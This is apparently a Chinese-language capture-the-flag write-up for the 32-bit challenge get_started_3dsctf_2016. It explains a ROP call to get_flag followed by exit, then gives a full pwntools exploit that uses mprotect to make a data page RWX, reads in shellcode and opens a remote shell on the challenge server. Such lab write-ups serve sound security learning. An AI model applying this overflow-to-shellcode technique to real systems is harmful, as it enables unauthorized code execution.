比较常规的解法：
由于这题没有出现setbuf(stdin，0)，所以本题的输出是缓存在服务器本地的，换句话说：如果程序不正常退出，本题是不会回显flag的。但是本题提供了exit()函数，注意再调用get_flag函数后再ret到exit()函数就可以回显flag了。
32位程序payload = offset + 函数地址 + 返回地址（一定要是exit函数的地址） + 参数
不常规的解法：
那就是通过mprotect函数来修改内存页的可执行权限。
int mprotect(const void *start, size_t len, int prot)；
第一个参数填的是一个地址，是指需要进行操作的地址，第二个参数是修改内存的大小（内存页的整数倍），第三个参数的是要赋予的权限（7，即二进制111是RWX权限）。
我们先通过gdb确定内存页的分布，现给main函数出下断点，然后运行程序输入命令vmmap查看内存页权限。如下图所示：
HEAP STACK和CODE页就别动了，选择DATA页0x80EA000（可以看到此页并没有X权限）作为修改可执行权限的目标。
exp如下：
from pwn import * from LibcSearcher import * context(os = 'linux',arch = 'i386',log_level = 'debug') #p = process('./get_started_3dsctf_2016') elf = ELF('./get_started_3dsctf_2016') p = remote("node3.buuoj.cn",25748) mp_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read'] rwx_start = 0x80EA000 pop3_ret = 0x804f460 payload = b'a'*56 payload += p32(mp_addr) payload += p32(pop3_ret) #pop三次是为了正确跳转到rwx_data payload += p32(rwx_start) #修改内存权限的首地址 payload += p32(0x2000) #第二个参数必须是内存页的整数倍（好像0x1000也行） payload += p32(0x7) #RWX权限全开 payload += p32(read_addr) payload += p32(rwx_start) #调用read函数结束后的返回地址 payload += p32(0x0) #read函数第一个参数，标准输入 payload += p32(rwx_start) #输入字符串地址 payload += p32(0x200) #输入字符串最大数目 p.sendline(payload) #在接受asm字符串后read函数就会ret到rwx_addr去执行shellcode payload = asm(shellcraft.sh(),os = 'linux',arch = 'i386') p.sendline(payload) p.interactive()